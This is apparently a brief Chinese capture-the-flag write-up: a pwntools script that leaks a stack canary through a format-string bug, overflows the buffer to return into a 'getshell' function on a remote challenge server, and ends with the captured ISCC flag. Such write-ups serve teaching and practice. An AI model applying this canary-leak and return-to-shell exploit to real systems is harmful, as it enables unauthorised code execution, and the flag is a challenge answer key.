一个简单的canary绕过 利用格式化字符串把canary拿出来
from pwn import *
context(os="linux", arch="i386", log_level="debug")
elf = ELF("./attachment-5")
io = remote('39.96.193.120',10018)
getshell = elf.symbols["getshell"]
log.success(f"getshell = {hex(getshell)}")
io.recvuntil(b"Hello Hacker!\n")
# 第一次输入:泄露 canary
io.send(b"%31$p.END\x00")
leak = io.recvuntil(b".END", drop=True)
canary = int(leak, 16)
log.success(f"canary = {hex(canary)}")
# 第二次输入:溢出并 ret2getshell
payload = b"A" * 0x64
payload += p32(canary)
payload += b"B" * 0xc
payload += p32(getshell)
io.send(payload)
io.interactive()
ISCC{b35011bd-571b-4561-8382-b78aa1530853}
评论